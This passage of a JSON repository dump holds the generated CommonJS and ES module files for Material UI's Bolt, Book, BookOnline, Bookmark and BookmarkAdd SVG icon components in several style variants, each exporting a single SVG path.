    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h-1l1-7H7.5c-.58 0-.57-.32-.38-.66s.05-.08.07-.12C8.48 10.94 10.42 7.54 13 3h1l-1 7h3.5c.49 0 .56.33.47.51l-.07.15C12.96 17.55 11 21 11 21\"\n}), 'Bolt');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bolt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h-1l1-7H7.5c-.58 0-.57-.32-.38-.66s.05-.08.07-.12C8.48 10.94 10.42 7.54 13 3h1l-1 7h3.5c.49 0 .56.33.47.51l-.07.15C12.96 17.55 11 21 11 21\"\n}), 'Bolt');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h-1l1-7H7.5c-.88 0-.33-.75-.31-.78C8.48 10.94 10.42 7.54 13.01 3h1l-1 7h3.51c.4 0 .62.19.4.66C12.97 17.55 11 21 11 21\"\n}), 'BoltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h-1l1-7H7.5c-.88 0-.33-.75-.31-.78C8.48 10.94 10.42 7.54 13.01 3h1l-1 7h3.51c.4 0 .62.19.4.66C12.97 17.55 11 21 11 21\"\n}), 'BoltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.67 21c-.35 0-.62-.31-.57-.66L11 14H7.5c-.88 0-.33-.75-.31-.78 1.26-2.23 3.15-5.53 5.65-9.93.1-.18.3-.29.5-.29.35 0 .62.31.57.66l-.9 6.34h3.51c.4 0 .62.19.4.66-3.29 5.74-5.2 9.09-5.75 10.05-.1.18-.29.29-.5.29\"\n}), 'BoltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.67 21c-.35 0-.62-.31-.57-.66L11 14H7.5c-.88 0-.33-.75-.31-.78 1.26-2.23 3.15-5.53 5.65-9.93.1-.18.3-.29.5-.29.35 0 .62.31.57.66l-.9 6.34h3.51c.4 0 .62.19.4.66-3.29 5.74-5.2 9.09-5.75 10.05-.1.18-.29.29-.5.29\"\n}), 'BoltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h-1l1-7H6.74S10.42 7.54 13 3h1l-1 7h4.28z\"\n}), 'BoltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h-1l1-7H6.74S10.42 7.54 13 3h1l-1 7h4.28z\"\n}), 'BoltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h-1l1-7H7.5c-.88 0-.33-.75-.31-.78C8.48 10.94 10.42 7.54 13.01 3h1l-1 7h3.51c.4 0 .62.19.4.66C12.97 17.55 11 21 11 21\"\n}), 'BoltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h-1l1-7H7.5c-.88 0-.33-.75-.31-.78C8.48 10.94 10.42 7.54 13.01 3h1l-1 7h3.51c.4 0 .62.19.4.66C12.97 17.55 11 21 11 21\"\n}), 'BoltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Book.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 4h5v8l-2.5-1.5L6 12z\"\n}), 'Book');"
  },
  {
    "path": "packages/mui-icons-material/lib/Book.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 4h5v8l-2.5-1.5L6 12z\"\n}), 'Book');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOnline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 18V6h10v12zm9-7V9.14C16 8.51 15.55 8 15 8H9c-.55 0-1 .51-1 1.14v1.96c.55 0 1 .45 1 1s-.45 1-1 1v1.76c0 .63.45 1.14 1 1.14h6c.55 0 1-.51 1-1.14V13c-.55 0-1-.45-1-1s.45-1 1-1m-3.5 3.5h-1v-1h1zm0-2h-1v-1h1zm0-2h-1v-1h1z\"\n}), 'BookOnline');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOnline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 18V6h10v12zm9-7V9.14C16 8.51 15.55 8 15 8H9c-.55 0-1 .51-1 1.14v1.96c.55 0 1 .45 1 1s-.45 1-1 1v1.76c0 .63.45 1.14 1 1.14h6c.55 0 1-.51 1-1.14V13c-.55 0-1-.45-1-1s.45-1 1-1m-3.5 3.5h-1v-1h1zm0-2h-1v-1h1zm0-2h-1v-1h1z\"\n}), 'BookOnline');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOnlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4H7V3h10zm0 17H7v-1h10zm0-20H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 6h10v12H7zm9 5V9.14C16 8.51 15.55 8 15 8H9c-.55 0-1 .51-1 1.14v1.96c.55 0 1 .45 1 1s-.45 1-1 1v1.76c0 .63.45 1.14 1 1.14h6c.55 0 1-.51 1-1.14V13c-.55 0-1-.45-1-1s.45-1 1-1m-3.5 3.5h-1v-1h1zm0-2h-1v-1h1zm0-2h-1v-1h1z\"\n}), 'BookOnlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOnlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4H7V3h10zm0 17H7v-1h10zm0-20H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 6h10v12H7zm9 5V9.14C16 8.51 15.55 8 15 8H9c-.55 0-1 .51-1 1.14v1.96c.55 0 1 .45 1 1s-.45 1-1 1v1.76c0 .63.45 1.14 1 1.14h6c.55 0 1-.51 1-1.14V13c-.55 0-1-.45-1-1s.45-1 1-1m-3.5 3.5h-1v-1h1zm0-2h-1v-1h1zm0-2h-1v-1h1z\"\n}), 'BookOnlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOnlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 6h10v12H7zm9 5V9.14C16 8.51 15.55 8 15 8H9c-.55 0-1 .51-1 1.14v1.96c.55 0 1 .45 1 1s-.45 1-1 1v1.76c0 .63.45 1.14 1 1.14h6c.55 0 1-.51 1-1.14V13c-.55 0-1-.45-1-1s.45-1 1-1m-4 3.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m0-2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m0-2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5\"\n}), 'BookOnlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOnlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 6h10v12H7zm9 5V9.14C16 8.51 15.55 8 15 8H9c-.55 0-1 .51-1 1.14v1.96c.55 0 1 .45 1 1s-.45 1-1 1v1.76c0 .63.45 1.14 1 1.14h6c.55 0 1-.51 1-1.14V13c-.55 0-1-.45-1-1s.45-1 1-1m-4 3.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m0-2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m0-2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5\"\n}), 'BookOnlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOnlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H5v22h14zM7 18V6h10v12zm9-7V8H8v3.1c.55 0 1 .45 1 1s-.45 1-1 1V16h8v-3c-.55 0-1-.45-1-1s.45-1 1-1m-3.5 3.5h-1v-1h1zm0-2h-1v-1h1zm0-2h-1v-1h1z\"\n}), 'BookOnlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOnlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H5v22h14zM7 18V6h10v12zm9-7V8H8v3.1c.55 0 1 .45 1 1s-.45 1-1 1V16h8v-3c-.55 0-1-.45-1-1s.45-1 1-1m-3.5 3.5h-1v-1h1zm0-2h-1v-1h1zm0-2h-1v-1h1z\"\n}), 'BookOnlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOnlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4H7V3h10zm0 17H7v-1h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4H7V3h10zm0 17H7v-1h10zm0-20H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 6h10v12H7zm9 5V9.14C16 8.51 15.55 8 15 8H9c-.55 0-1 .51-1 1.14v1.96c.55 0 1 .45 1 1s-.45 1-1 1v1.76c0 .63.45 1.14 1 1.14h6c.55 0 1-.51 1-1.14V13c-.55 0-1-.45-1-1s.45-1 1-1m-3.5 3.5h-1v-1h1zm0-2h-1v-1h1zm0-2h-1v-1h1z\"\n}, \"1\")], 'BookOnlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOnlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4H7V3h10zm0 17H7v-1h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4H7V3h10zm0 17H7v-1h10zm0-20H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 6h10v12H7zm9 5V9.14C16 8.51 15.55 8 15 8H9c-.55 0-1 .51-1 1.14v1.96c.55 0 1 .45 1 1s-.45 1-1 1v1.76c0 .63.45 1.14 1 1.14h6c.55 0 1-.51 1-1.14V13c-.55 0-1-.45-1-1s.45-1 1-1m-3.5 3.5h-1v-1h1zm0-2h-1v-1h1zm0-2h-1v-1h1z\"\n}, \"1\")], 'BookOnlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 4h2v5l-1-.75L9 9zm9 16H6V4h1v9l3-2.25L13 13V4h5z\"\n}), 'BookOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 4h2v5l-1-.75L9 9zm9 16H6V4h1v9l3-2.25L13 13V4h5z\"\n}), 'BookOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 4h5v8l-2.5-1.5L6 12z\"\n}), 'BookRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M6 4h5v8l-2.5-1.5L6 12z\"\n}), 'BookRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4v20h16zM6 4h5v8l-2.5-1.5L6 12z\"\n}), 'BookSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4v20h16zM6 4h5v8l-2.5-1.5L6 12z\"\n}), 'BookSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 13-3-2.25L7 13V4H6v16h12V4h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 4h2v5l-1-.75L9 9zm9 16H6V4h1v9l3-2.25L13 13V4h5z\"\n}, \"1\")], 'BookTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 13-3-2.25L7 13V4H6v16h12V4h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 4h2v5l-1-.75L9 9zm9 16H6V4h1v9l3-2.25L13 13V4h5z\"\n}, \"1\")], 'BookTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bookmark.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'Bookmark');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bookmark.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'Bookmark');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7h-2v2h-2V7h-2V5h2V3h2v2h2zm-2 14-7-3-7 3V5c0-1.1.9-2 2-2h7c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1z\"\n}), 'BookmarkAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7h-2v2h-2V7h-2V5h2V3h2v2h2zm-2 14-7-3-7 3V5c0-1.1.9-2 2-2h7c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1z\"\n}), 'BookmarkAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11v6.97l-5-2.14-5 2.14V5h6V3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V11zm4-4h-2v2h-2V7h-2V5h2V3h2v2h2z\"\n}), 'BookmarkAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11v6.97l-5-2.14-5 2.14V5h6V3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V11zm4-4h-2v2h-2V7h-2V5h2V3h2v2h2z\"\n}), 'BookmarkAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6c0 .55-.45 1-1 1h-1v1c0 .55-.45 1-1 1s-1-.45-1-1V7h-1c-.55 0-1-.45-1-1s.45-1 1-1h1V4c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1m-2 13.48c0 .72-.73 1.2-1.39.92L12 18l-5.61 2.4c-.66.29-1.39-.2-1.39-.92V5c0-1.1.9-2 2-2h7c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1z\"\n}), 'BookmarkAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6c0 .55-.45 1-1 1h-1v1c0 .55-.45 1-1 1s-1-.45-1-1V7h-1c-.55 0-1-.45-1-1s.45-1 1-1h1V4c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1m-2 13.48c0 .72-.73 1.2-1.39.92L12 18l-5.61 2.4c-.66.29-1.39-.2-1.39-.92V5c0-1.1.9-2 2-2h7c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1z\"\n}), 'BookmarkAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddSharp.js",
